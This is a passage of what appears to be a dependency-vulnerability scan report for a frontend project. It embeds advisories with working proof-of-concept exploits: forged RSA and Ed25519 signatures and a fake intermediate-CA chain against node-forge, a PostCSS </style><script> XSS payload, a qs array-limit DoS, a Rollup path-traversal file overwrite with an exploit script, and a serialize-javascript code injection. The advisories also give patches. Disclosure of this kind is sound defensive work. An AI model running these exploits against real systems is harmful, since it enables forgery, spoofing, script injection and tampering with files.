const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();
```
</details>
## Suggested Patch
- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS >= 8`) in `_decodePkcs1_v1_5` before accepting the block.
- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
```diff
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
error.errors = errors;
throw error;
}
+
+ if(obj.value.length != 2) {
+ var error = new Error(
+ 'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+ 'a valid RSASSA-PKCS1-v1_5 package.');
+ error.errors = errors;
+ throw error;
+ }
// check hash algorithm identifier
// see PKCS1-v1-5DigestAlgorithms in RFC 8017
// FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
}
++padNum;
}
+
+ if (padNum < 8) {
+ throw new Error('Encryption block is invalid.');
+ }
} else if(bt === 0x02) {
// look for 0x00 byte
padNum = 0;
```
## Resources
- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
- > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.
- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.
## Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.CWE-347 Improper Verification of Cryptographic Signature, CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
## Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
## Impacted Deployments
**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`
**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
**Configuration assumptions:**
- Default forge Ed25519 verify API path (`ed25519.verify(...)`).
## Root Cause
In `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication:
```javascript
scalarbase(q, sm.subarray(32));
```
There is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
## Reproduction Steps
- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.
- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.
- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).
- Confirm output includes:
```json
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
```
## Proof of Concept
**Overview:**
- Demonstrates a valid control signature and a forged (S + L) signature in one run.
- Uses Node/OpenSSL as a differential verification baseline.
- Observed output on tested commit:
```text
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}
```
<details><summary>poc.js</summary>
```javascript
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}
function verifyWithCrypto(publicKey, message, signature) {
try {
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
const ok = crypto.verify(null, message, keyObject, signature);
return { ok };
} catch (error) {
return { ok: false, error: error.message };
}
}
function toResult(label, original, tweaked) {
return {
[label]: {
original_valid: original.ok,
tweaked_valid: tweaked.ok,
},
};
}
function main() {
const kp = ed.generateKeyPair();
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
const tweaked = addLToS(sig);
const okTweaked = ed.verify({
message: MESSAGE,
signature: tweaked.sig,
publicKey: kp.publicKey,
});
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
const result = {
...toResult('forge', { ok }, { ok: okTweaked }),
...toResult('crypto', cryptoOriginal, cryptoTweaked),
};
console.log(JSON.stringify(result, null, 2));
}
main();
```
</details>
## Suggested Patch
Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`).
Here is a patch we tested on our end to resolve the issue, though please verify it on your end:
```diff
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
return -1;
}
+ if(!_isCanonicalSignatureScalar(sm, 32)) {
+ return -1;
+ }
+
for(i = 0; i < n; ++i) {
m[i] = sm[i];
}
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
return mlen;
}
+function _isCanonicalSignatureScalar(bytes, offset) {
+ var i;
+ // Compare little-endian scalar S against group order L and require S < L.
+ for(i = 31; i >= 0; --i) {
+ if(bytes[offset + i] < L[i]) {
+ return true;
+ }
+ if(bytes[offset + i] > L[i]) {
+ return false;
+ }
+ }
+ // S == L is non-canonical.
+ return false;
+}
+
function modL(r, x) {
var carry, i, j, k;
for(i = 63; i >= 32; --i) {
```
## Resources
- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
- > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l
## Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.CWE-347 Improper Verification of Cryptographic SignatureVulnerable Software & Versions (NPM):
## Summary
`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.
## Technical Details
In `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:
1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`
2. The `basicConstraints.cA` check is gated on `bcExt !== null`
When a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.
**RFC 5280 Section 6.1.4 step (k) requires:**
> "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."
The absence of `basicConstraints` should result in rejection, not acceptance.
## Proof of Concept
```javascript
const forge = require('node-forge');
const pki = forge.pki;
function generateKeyPair() {
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [
{ name: 'commonName', value: 'Legitimate Root CA' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
{ name: 'basicConstraints', cA: true, critical: true },
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
// This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf
// This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [
{ name: 'commonName', value: 'victim.example.com' },
{ name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);
try {
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
console.log(' This violates RFC 5280 Section 6.1.4.');
} catch (e) {
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}
```
**Results:**
- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)
- Certificate with `basicConstraints.cA=false`: correctly rejected
- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected
- Proper intermediate CA (control): correctly accepted
## Attack Scenario
An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.
This affects applications using node-forge for:
- Custom PKI / certificate pinning implementations
- S/MIME / PKCS#7 signature verification
- IoT device certificate validation
- Any non-native-TLS certificate chain verification
## CVE Precedent
This is the same vulnerability class as:
- **CVE-2014-0092** (GnuTLS) — certificate verification bypass
- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass
- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance
## Not a Duplicate
This is distinct from:
- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)
- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)
- GitHub issue #1049 (null subject/issuer — different malformation)
## Suggested Fix
Add an explicit check for absent `basicConstraints` on non-leaf certificates:
```javascript
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
error = {
message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
error: pki.certificateError.bad_certificate
};
}
```
## Disclosure Timeline
- 2026-03-10: Report submitted via GitHub Security Advisory
- 2026-06-08: 90-day coordinated disclosure deadline
## Credits
Discovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)CWE-295 Improper Certificate ValidationVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?path-to-regexp
Referenced In Project/Scope: package-lock.json: transitive
### Impact A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b-:c` or `/:a-:b-:c-:d`. The backtrack protection added in `path-to-regexp@0.1.12` only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. ### Patches Upgrade to [path-to-regexp@0.1.13](https://github.com/pillarjs/path-to-regexp/releases/tag/v.0.1.13) Custom regex patterns in route definitions (e.g., `/:a-:b([^-/]+)-:c([^-/]+)`) are not affected because they override the default capture group. ### Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b-:c` to `/:a-:b([^-/]+)-:c([^-/]+)`. If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. ### References - [GHSA-9wv6-86v2-598j](https://github.com/advisories/GHSA-9wv6-86v2-598j) - [Detailed blog post: ReDoS the web](https://blakeembrey.com/posts/2024-09-web-redos/)CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?picomatch
Referenced In Project/Scope: package-lock.json: transitive
### Impact `picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Examples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. ### Patches This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. ### Workarounds If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include: - disable extglob support for untrusted patterns by using `noextglob: true` - reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()` - enforce strict allowlists for accepted pattern syntax - run matching in an isolated worker or separate process with time and resource limits - apply application-level request throttling and input validation for any endpoint that accepts glob patterns ### Resources - Picomatch repository: https://github.com/micromatch/picomatch - `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms - Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`) - Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
### Impact
picomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.
This leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.
### Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
### Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.
- Avoiding the use of POSIX bracket expressions if user input is involved.
- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:
```js
const POSIX_REGEX_SOURCE = {
__proto__: null,
alnum: 'a-zA-Z0-9',
alpha: 'a-zA-Z',
// ... rest unchanged
};
### Resources
- fix for similar issue: https://github.com/micromatch/picomatch/pull/144
- picomatch repository https://github.com/micromatch/picomatchCWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/polyfills-FFHMD2TL.js
MD5: feb8fabaa54a01a42a5d3785369cea71
SHA1: f49b49a155bc7d192db62a4c15d0a612b460a667
SHA256:69dcea045643dd0de998a3cd0ccbbb46b46bff2651a87a56c73c28eb208e8f98
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?postcss
Referenced In Project/Scope: package-lock.json: transitive
# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output
## Summary
PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS.
## Proof of Concept
```javascript
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
```
**Tested output** (Node.js v22, postcss v8.5.5):
```
Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true
```
## Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
## Suggested Fix
Escape `</style` in all stringified output values:
```javascript
output = output.replace(/<\/(style)/gi, '<\\/$1');
```
## Credits
Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?qs
Referenced In Project/Scope: package-lock.json: transitive
### Summary
The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).
### Details
When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.
**Vulnerable code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).
### PoC
**Test 1 - Basic bypass:**
```
npm install qs
```
```js
const qs = require('qs');
const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)
const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };
try {
const result = qs.parse(payload, options);
console.log(result.a.length); // Outputs: 26 (bypass successful)
} catch (e) {
console.log('Limit enforced:', e.message); // Not thrown
}
```
**Configuration:**
- `comma: true`
- `arrayLimit: 5`
- `throwOnLimitExceeded: true`
Expected: Throws "Array limit exceeded" error.
Actual: Parses successfully, creating an array of length 26.
### Impact
Denial of Service (DoS) via memory exhaustion.
### Suggested Fix
Move the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes.
**Current code** (lib/parse.js: lines ~40-50):
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
return val.split(',');
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
**Fixed code:**
```js
if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {
const splitArray = val.split(',');
if (splitArray.length > options.arrayLimit - currentArrayLength) { // Check against remaining limit
if (options.throwOnLimitExceeded) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
} else {
// Optionally convert to object or truncate, per README
return splitArray.slice(0, options.arrayLimit - currentArrayLength);
}
}
return splitArray;
}
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
return val;
```
This aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.CWE-20 Improper Input ValidationVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?rollup
Referenced In Project/Scope: package-lock.json: transitive
### Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
### Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
1. **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\`).
```typescript
// src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
```
This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.
2. **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the "sanitized" filename.
```typescript
// src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);
```
Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.
### PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
**Scenario: CLI Named Input Exploit**
1. Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).
2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:
```bash
rollup --input "a/../../pwned.js=main.js" --dir dist
```
3. **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.
**Reproduction Files provided :**
* `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.
* `exploit.py`: Automated script to run the PoC and verify the file escape.
vuln_app.js
```js
const path = require('path');
const fs = require('fs');
/**
* REPLICATED ROLLUP VULNERABILITY
*
* 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
* 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
*/
function sanitize(name) {
// The vulnerability: Rollup's regex fails to strip dots and slashes,
// allowing path traversal sequences like '../'
return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}
async function build(userSuppliedName) {
const outputDir = path.join(__dirname, 'dist');
const fileName = sanitize(userSuppliedName);
// Vulnerability: path.resolve() follows traversal sequences in the filename
const outputPath = path.resolve(outputDir, fileName);
console.log(`[*] Target write path: ${outputPath}`);
if (!fs.existsSync(path.dirname(outputPath))) {
fs.mkdirSync(path.dirname(outputPath), { recursive: true });
}
fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
console.log(`[+] File written successfully.`);
}
build(process.argv[2] || 'bundle.js');
```
exploit.py
```py
import subprocess
from pathlib import Path
def run_poc():
# Target a file outside the 'dist' folder
poc_dir = Path(__file__).parent
malicious_filename = "../pwned_by_rollup.js"
target_path = poc_dir / "pwned_by_rollup.js"
print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable app
subprocess.run(["node", "poc/vuln_app.js", malicious_filename])
if target_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanup
else:
print("[FAILED] Exploit did not work.")
if __name__ == "__main__":
run_poc()
```
## POC
```rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist```
<img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" />
### Impact
This is a **High** level of severity vulnerability.
* **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.
* **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
* **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/scripts-NF74VGQ5.js
MD5: 2abe734603979ee975e8274b59119ca2
SHA1: 7fb1a0e5a114d6185aa3326fccf5aad9b33825b3
SHA256:a9814773b8160ee75537eda6c65bd42701f083ead42d512e87bf0a2855031330
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?serialize-javascript
Referenced In Project/Scope: package-lock.json: transitive
### Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.
If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.
```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
